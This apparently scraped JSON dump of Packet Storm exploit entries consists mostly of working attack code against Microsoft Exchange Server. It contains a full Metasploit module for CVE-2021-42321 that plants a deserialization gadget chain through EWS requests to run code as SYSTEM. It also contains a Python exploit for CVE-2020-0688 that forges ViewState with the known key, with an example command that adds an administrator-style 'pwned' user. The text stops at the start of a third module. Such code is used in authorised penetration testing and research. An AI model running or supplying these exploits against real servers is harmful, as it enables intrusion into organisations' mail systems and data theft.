Msf::Exploit::CmdStager \ninclude Msf::Exploit::Powershell \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE', \n'Description' => %q{ \nThis vulnerability allows remote attackers to execute arbitrary code \non Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 \nprior to Security Update 2, Exchange Server 2016 CU21 prior to \nSecurity Update 3, and Exchange Server 2016 CU22 prior to \nSecurity Update 2. \n \nNote that authentication is required to exploit this vulnerability. \n \nThe specific flaw exists due to the fact that the deny list for the \nChainedSerializationBinder had a typo whereby an entry was typo'd as \nSystem.Security.ClaimsPrincipal instead of the proper value of \nSystem.Security.Claims.ClaimsPrincipal. \n \nBy leveraging this vulnerability, attacks can bypass the \nChainedSerializationBinder's deserialization deny list \nand execute code as NT AUTHORITY\\SYSTEM. \n \nTested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, \nand Exchange Server 2016 CU22 SU0 on Windows Server 2016. \n}, \n'Author' => [ \n'pwnforsp', # Original Bug Discovery \n'zcgonvh', # Of 360 noah lab, Original Bug Discovery \n'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild \n'Microsoft Security Response Center', # Discovery of exploitation in the wild \n'peterjson', # Writeup \n'testanull', # PoC Exploit \n'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D \n], \n'References' => [ \n['CVE', '2021-42321'], \n['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'], \n['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'], \n['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'], \n['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'], \n['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'] \n], \n'DisclosureDate' => '2021-12-09', \n'License' => MSF_LICENSE, \n'Platform' => 'win', \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Command', \n{ \n'Arch' => ARCH_CMD, \n'Type' => :win_cmd \n} \n], \n[ \n'Windows Dropper', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :win_dropper, \n'DefaultOptions' => { \n'CMDSTAGER::FLAVOR' => :psh_invokewebrequest \n} \n} \n], \n[ \n'PowerShell Stager', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :psh_stager \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true, \n'HttpClientTimeout' => 5, \n'WfsDelay' => 10 \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [ \nIOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169 \nCONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger. \n] \n} \n) \n) \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']), \nOptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']), \nOptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', '']) \n]) \nend \n \ndef post_auth? \ntrue \nend \n \ndef username \ndatastore['HttpUsername'] \nend \n \ndef password \ndatastore['HttpPassword'] \nend \n \ndef vuln_builds \n# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 \n[ \n[Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21 \n[Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22 \n[Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10 \n[Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11 \n] \nend \n \ndef check \n# First lets try a cheap way of doing this via a leak of the X-OWA-Version header. \n# If we get this we know the version number for sure and we can skip a lot of leg work. \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/owa/service') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \nif res.headers['X-OWA-Version'] \nbuild = res.headers['X-OWA-Version'] \nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nelse \nreturn CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\") \nend \nend \n \n# Next, determine if we are up against an older version of Exchange Server where \n# the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange \n# give only a partial version without the build number. \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \nif res.code == 200 && ((%r{/owa/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body)) \nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nelse \nreturn CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\") \nend \nend \n \n# Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application \n# URL which if successful should provide some XML with entries like the following: \n# \n# <assemblyIdentity name=\"microsoft.exchange.ediscovery.exporttool.application\" \n# version=\"15.2.986.5\" publicKeyToken=\"b1d1a6c45aa418ce\" language=\"neutral\" \n# processorArchitecture=\"msil\" xmlns=\"urn:schemas-microsoft-com:asm.v1\" /> \n# \n# This only works on Exchange Server 2013 and later and may not always work, but if it \n# does work it provides the full version number so its a nice strategy. \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \nif res.code == 200 && res.body =~ /name=\"microsoft.exchange.ediscovery.exporttool\" version=\"\\d+\\.\\d+\\.\\d+\\.\\d+\"/ \nbuild = res.body.match(/name=\"microsoft.exchange.ediscovery.exporttool\" version=\"(\\d+\\.\\d+\\.\\d+\\.\\d+)\"/)[1] \nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nelse \nreturn CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\") \nend \nend \n \n# Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx \n# to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200 \n# OK response, we found the target version number, otherwise we didn't find it. \n# \n# Props go to @jmartin-r7 for improving my original code for this and suggestion the use of \n# canonical_segments to make this close to the Rex::Version code format. Also for noticing that \n# version_range is a Rex::Version object already and cleaning up some of my original code to simplify \n# things on this premise. \n \nvuln_builds.each do |version_range| \nreturn CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2] \n \nprepend_range = version_range[0].canonical_segments[0..-2] \nlowest_patch = version_range[0].canonical_segments.last \nwhile Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1] \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, \"/ecp/#{build}/exporttool/\") \n) \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \nif res && res.code == 200 \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nend \n \nlowest_patch += 1 \nend \n \nCheckCode::Unknown('Could not determine the build number of the target Exchange Server.') \nend \nend \n \ndef exploit \ncase target['Type'] \nwhen :win_cmd \nexecute_command(payload.encoded) \nwhen :win_dropper \nexecute_cmdstager \nwhen :psh_stager \nexecute_command(cmd_psh_payload( \npayload.encoded, \npayload.arch.first, \nremove_comspec: true \n)) \nend \nend \n \ndef execute_command(cmd, _opts = {}) \n# Get the user's inbox folder's ID and change key ID. \nprint_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\") \nxml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetFolder> \n<m:FolderShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:FolderShape> \n<m:FolderIds> \n<t:DistinguishedFolderId Id=\"inbox\" /> \n</m:FolderIds> \n</m:GetFolder> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_getfolder_inbox, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nxml_getfolder = res.get_xml_document \nxml_getfolder.remove_namespaces! \nxml_tag = xml_getfolder.xpath('//FolderId') \nif xml_tag.empty? \nfail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!') \nend \nunless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey') \nfail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!') \nend \nchange_key_val = xml_tag.attribute('ChangeKey').value \nfolder_id_val = xml_tag.attribute('Id').value \nprint_good(\"ChangeKey value for Inbox folder is #{change_key_val}\") \nprint_good(\"ID value for Inbox folder is #{folder_id_val}\") \n \n# Delete the user configuration object that currently on the Inbox folder. \nprint_status('Deleting the user configuration object associated with Inbox folder...') \nxml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:DeleteUserConfiguration> \n<m:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</m:UserConfigurationName> \n</m:DeleteUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_delete_inbox_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nif res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>} \nprint_good('Successfully deleted the user configuration object associated with the Inbox folder!') \nelse \nprint_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!') \nprint_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!') \nend \n \n# Now to replace the deleted user configuration object with our own user configuration object. \nprint_status('Creating the malicious user configuration object on the Inbox folder!') \n \ngadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter)) \nxml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:CreateUserConfiguration> \n<m:UserConfiguration> \n<t:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</t:UserConfigurationName> \n<t:Dictionary> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgChkTm</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Integer64</t:Type> \n<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgDO</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Boolean</t:Type> \n<t:Value>false</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n</t:Dictionary> \n<t:BinaryData>#{gadget_chain}</t:BinaryData> \n</m:UserConfiguration> \n</m:CreateUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_malicious_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nunless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>} \nfail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!') \nend \n \nprint_good('Successfully created the malicious user configuration object and associated with the Inbox folder!') \n \n# Deserialize our object. If all goes well, you should now have SYSTEM :) \nprint_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...') \nxml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetClientAccessToken> \n<m:TokenRequests> \n<t:TokenRequest> \n<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id> \n<t:TokenType>CallerIdentity</t:TokenType> \n</t:TokenRequest> \n</m:TokenRequests> \n</m:GetClientAccessToken> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_get_client_access_token, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nunless res.body =~ %r{<e:Message xmlns:e=\"http://schemas.microsoft.com/exchange/services/2006/errors\">An internal server error occurred. The operation failed.</e:Message>} \nfail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!') \nend \nend \nend \n`\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/166153/exchange_chainedserializationbinder_denylist_typo_rce.rb.txt"}, {"lastseen": "2020-03-04T15:06:30", "description": "", "cvss3": {}, "published": "2020-03-02T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange 2019 15.2.221.12 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-02T00:00:00", "id": "PACKETSTORM:156592", "href": "https://packetstormsecurity.com/files/156592/Microsoft-Exchange-2019-15.2.221.12-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution \n# Date: 2020-02-28 \n# Exploit Author: Photubias \n# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 \n# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys \n# Vendor Homepage: https://www.microsoft.com \n# Version: MS Exchange Server 2010 SP3 up to 2019 CU4 \n# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019 \n# CVE: CVE-2020-0688 \n \n#! /usr/bin/env python \n# -*- coding: utf-8 -*- \n''' \n \n \nCopyright 2020 Photubias(c) \n \nThis program is free software: you can redistribute it and/or modify \nit under the terms of the GNU General Public License as published by \nthe Free Software Foundation, either version 3 of the License, or \n(at your option) any later version. \n \nThis program is distributed in the hope that it will be useful, \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \nGNU General Public License for more details. \n \nYou should have received a copy of the GNU General Public License \nalong with this program. If not, see <http://www.gnu.org/licenses/>. \n \nFile name CVE-2020-0688-Photubias.py \nwritten by tijl[dot]deneut[at]howest[dot]be for www.ic4.be \n \nThis is a native implementation without requirements, written in Python 2. \nWorks equally well on Windows as Linux (as MacOS, probably ;-) \nReverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net \n \nExample Output: \nCVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c \"net user pwned pwned /add\" \n[+] Login worked \n[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570 \n[+] Detected OWA version number 15.2.221.12 \n[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable! \n[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]: \n[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g== \nSending now ... \n''' \nimport urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass \n \n## STATIC STRINGS \n# This string acts as a template for the serialization (contains \"###payload###\" to be replaced and TWO size locations) \nstrSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=') \n# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability) \nstrSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF') \n \ndef convertInt(iInput, length): \nreturn struct.pack(\"<I\" , int(iInput)).encode('hex')[:length] \n \ndef getYsoserialPayload(sCommand, sSessionId): \n## PART1 of the payload to hash \nstrPart1 = strSerTemplate.replace('###payload###', sCommand) \n## Fix the length fields \n#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand)) \n#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand)) \nstrLength1 = convertInt(0x06b8 + len(sCommand),4) \nstrLength2 = convertInt(0x04da + len(sCommand),4) \nstrPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:] \nstrPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:] \n \n## PART2 of the payload to hash \nstrPart2 = '274e7bb9' \nfor v in sSessionId: strPart2 += binascii.hexlify(v)+'00' \nstrPart2 = binascii.unhexlify(strPart2) \n \nstrMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest() \nstrResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac)) \nreturn strResult \n \ndef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar): \nif not sTarget[-1:] == '/': sTarget += '/' \n## Verify Login \nlPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'} \ntry: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read() \nexcept: print('[!] Error, ' + sTarget + ' not reachable') \nbLoggedIn = False \nfor cookie in oCookjar: \nif cookie.name == 'cadata': bLoggedIn = True \nif not bLoggedIn: \nprint('[-] Login Wrong, too bad') \nexit(1) \nprint('[+] Login worked') \n \n## Verify Session ID \nsSessionId = '' \nsResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read() \nfor cookie in oCookjar: \nif 'SessionId' in cookie.name: sSessionId = cookie.value \nprint('[+] Got ASP.NET Session ID: ' + sSessionId) \n \n## Verify OWA Version \nsVersion = '' \ntry: sVersion = sResult.split('stylesheet')[0].split('href=\"')[1].split('/')[2] \nexcept: sVersion = 'favicon' \nif 'favicon' in sVersion: \nprint('[*] Problem, this user has never logged in before (wizard detected)') \nprint(' Please log in manually first at ' + sTarget + 'ecp/default.aspx') \nexit(1) \nprint('[+] Detected OWA version number '+sVersion) \n \n## Verify ViewStateValue \nsViewState = '' \ntry: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value=\"')[1].split('\"')[0] \nexcept: pass \nif sViewState == 'B97B4E27': \nprint('[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!') \nelse: \nprint('[-] Error, viewstate wrong or not correctly parsed: '+sViewState) \nans = raw_input('[?] Still want to try the exploit? [y/N]: ') \nif ans == '' or ans.lower() == 'n': exit(1) \nreturn sSessionId, sTarget, sViewState \n \ndef main(): \nparser = argparse.ArgumentParser() \nparser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='') \nparser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='') \nparser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='') \nparser.add_argument('-c', '--command', help='Command to put behind \"cmd /c \" (e.g. net user pwned pwned /add)', default='') \nargs = parser.parse_args() \nif args.target == '' or args.username == '' or args.command == '': \nprint('[!] Example usage: ') \nprint(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c \"net user pwned pwned /add\"') \nelse: \nif args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ') \nelse: sPassword = args.password \nctx = ssl.create_default_context() \nctx.check_hostname = False \nctx.verify_mode = ssl.CERT_NONE \noCookjar = cookielib.CookieJar() \n#oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}) \n#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy) \noOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar)) \nsSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar) \nans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ') \nif ans.lower() == 'n': exit(0) \nsPayLoad = getYsoserialPayload(args.command, sSessionId) \nprint('[+] Got Payload: ' + sPayLoad) \nsURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad) \nprint(' Sending now ...') \ntry: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'})) \nexcept urllib2.HTTPError, e: \nif e.code == '500': print('[+] This probably worked (Error Code 500 received)') \n \nif __name__ == \"__main__\": \nmain() \n`\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/156592/msexchange2019-exec.txt"}, {"lastseen": "2020-03-05T07:12:27", "description": "", "cvss3": {}, "published": "2020-03-04T00:00:00", "type": "packetstorm", "title": "Exchange Control Panel Viewstate Deserialization", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-04T00:00:00", "id": "PACKETSTORM:156620", "href": "https://packetstormsecurity.com/files/156620/Exchange-Control-Panel-Viewstate-Deserialization.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'bindata' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \n# include 